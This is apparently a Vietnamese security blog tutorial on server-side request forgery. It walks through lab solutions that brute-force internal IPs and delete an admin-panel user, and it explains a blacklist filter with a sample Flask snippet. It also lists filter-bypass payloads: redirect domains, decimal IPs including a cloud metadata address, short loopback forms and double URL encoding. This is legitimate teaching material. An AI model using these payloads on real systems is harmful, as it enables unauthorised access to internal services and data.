- vừa được xem lúc

Server side request forgery vulnerabilities (SSRF) - Các lỗ hổng giả mạo yêu cầu phía máy chủ (Phần 2)

0 0 29

Người đăng: Viblo Security

Theo Viblo Asia

II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)

3. Lỗ hổng SSRF truy cập hệ thống back-end khác

Bên cạnh việc tận dụng lỗ hổng SSRF truy cập vào server local, chúng ta cũng có thể truy cập vào các hệ thống back-end khác. Các hệ thống này thường không thể truy cập trực tiếp từ public server, để tấn công được các server này chúng ta cần biết chính xác domain hoặc địa chỉ IP của chúng. Có thể sử dụng phương pháp Brute force tìm kiếm trong dải địa chỉ IP phù hợp với mục tiêu tấn công.

Phân tích lab Basic SSRF against another back-end system

Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng hệ thống mạng nội bộ có trang quản trị viên /admin trong dải 192.168.0.X với cổng 80808080. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng SSRF truy cập vào trang quản trị viên này và thực hiện xóa tài khoản người dùng carlos.

Tương tự lab trước, tham số stockApi truyền bằng phương thức POST cho hệ thống giá trị là một địa chỉ URL và địa chỉ này chỉ có thể truy cập từ mạng local.

Kiểm tra lỗ hổng SSRF bằng kỹ thuật DNS lookup và thành công:

Chú ý địa chỉ ban đầu được truyền tới hệ thống của trang web: http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1 có IP 192.168.0.1, mở port 80808080, chúng ta đã biết tồn tại trang quản trị viên có URL dạng 192.168.0.X:8080/admin. Ý tưởng chúng ta sẽ thực hiện brute force tất cả khả năng của IP này để tìm ra URL chính xác.

Gửi request tới chức năng Intruder

Đặt payload marker tại vị trí cần tấn công vét cạn. Đây là dạng địa chỉ IPv4 nên octet X có giá trị từ 00 đến 255255, đó cùng là danh sách payload chúng ta thực hiện vét cạn:

Quan sát thấy IP 192.168.0.139 trả về status 200200 và trong response chứa chức năng của trang quản trị viên:

Cuối cùng truy cập tới URL này và thực hiện xóa tài khoản người dùng carlos. Payload: stockApi=http://192.168.0.139:8080/admin/delete?username=carlos

Bài lab được giải quyết:

4. SSRF và bypass blacklist-based input filters

Các địa chỉ thường dùng để truy cập vào mạng local thường có dạng http://localhost hoặc http://127.0.0.1, bởi vậy, chúng ta có thể ngăn chặn các cụm từ nhạy cảm này bằng black list - danh sách "đen" gồm các phần tử không được phép xuất hiện. Ví dụ đoạn code sau:

from flask import *
import requests app = Flask(__name__) @app.route('/ssrf')
def follow_url(): url = request.args.get('url', '') blacklist = ['127.0.0.1', 'localhost'] for check in blacklist: if check in urk: return "Attack SSRF detected!" return (requests.get(url).text) if __name__ == '__main__': app.run(host = "0.0.0.0", port = 9999)

Trang web kiểm tra các giá trị 127.0.0.1, localhost trong blacklist có xuất hiện trong tham số url hay không từ đó thực hiện ngăn chặn cuộc tấn công SSRF tới server local.

Tuy nhiên, để truy cập vào server local chúng ta có nhiều cách bypass cơ chế ngăn chặn này.

  • Bypass với domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
  • Bypass với decimal IP location
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
  • Bypass với rare address
http://0/
http://127.1
http://127.0.1

Hệ thống cũng có thể thực hiện ngăn chặn các từ khóa đặc biệt (chẳng hạn từ khóa admin). Chúng ta có thể bypass bằng cách sau:

  • Bypass bằng URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
  • Bypass bằng các ký tự đặc biệt
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com // các ký tự đặc biệt: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  • Bypass sử dụng Unicode

Còn nhiều cách bypass khác các bạn có thê tham khảo thêm tại Payloads all the things.

Phân tích lab SSRF with blacklist-based input filter

Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng trang web có một cơ chế ngăn chặn tấn công SSRF bao gồm hai lớp kiểm tra. Để giải quyết bài lab, chúng ta cần vượt qua cơ chế ngăn chặn này, truy cập vào trang quản trị viên tại http://localhost/admin và thực hiện xóa tài khoản người dùng carlos.

Tương tự các lab trước, tham số stockApi tại chức năng check stock truyền tới hệ thống một giá trị URL qua phương thức POST.

Kiểm tra lỗ hổng SSRF, thực hiện DNS lookup thành công:

Kiểm tra cơ chế ngăn chặn của hệ thống, chúng ta nhận thấy trang web sử dụng black list ngăn chặn các từ khóa đặc biệt như localhost127.0.0.1:

Chúng ta có thể bypass bước ngăn chặn này với rare address http://127.1 hoặc http://127.0.1

Truy cập tới /admin cũng bị ngăn chặn:

Lớp ngăn chặn thứ hai này cũng sử dụng black list cho từ khóa admin, bypass:

  • Cách 11: Sử dụng ký tự viết hoa, chẳng hạn Admin, payload: stockApi=http://127.0.1/Admin

  • Cách 22: Encode URL, có thể thực hiện URL encode ký tự bất kỳ. Lưu ý cần encode 22 lần do trong quá trình POST đã có 11 lần decode URL. Payload: stockApi=http://127.0.1/%25%36%31dmin

Xóa tài khoản người dùng carlos và hoàn thành bài lab:

Các tài liệu tham khảo

Bình luận

Bài viết tương tự

- vừa được xem lúc

Cây tìm kiếm nhị phân

Như mình đã trình bày trong bài viết trước, tìm kiếm nhị phân trên một mảng thể hiện sự hiệu quả. Tuy nhiên, hiệu suất của việc tìm kiếm trên mảng bị giảm đi rất nhiều khi dữ liệu trong tập dữ liệu th

0 0 13

- vừa được xem lúc

Giới thiệu thuật toán tìm kiếm nhị phân

Tìm kiếm nhị phân là một thuật toán cơ bản trong khoa học máy tính. Thay vì tìm kiếm một phần tử trong mảng một cách tuyến tính duyệt từng phần tử, tìm kiếm nhị phân cho ta cách tìm kiếm tối ưu hơn bằ

0 0 17

- vừa được xem lúc

Quy hoạch động trên cây

I. Giới thiệu.

0 0 24

- vừa được xem lúc

Toán học tổ hợp

II. Các dãy số và công thức quan trọng. 1. Dãy Fibonaci.

0 0 126

- vừa được xem lúc

Một số ứng dụng nâng cao của cây DFS (phần 1)

I. Cây DFS và bài toán định chiều đồ thị. 1. Phân loại các cung trên cây DFSext{DFS}DFS.

0 0 29

- vừa được xem lúc

Một số ứng dụng nâng cao của cây DFS (phần 2)

III. Bài toán tìm thành phần liên thông mạnh - giải thuật Tarjan. 1. Định nghĩa thành phần liên thông mạnh.

0 0 22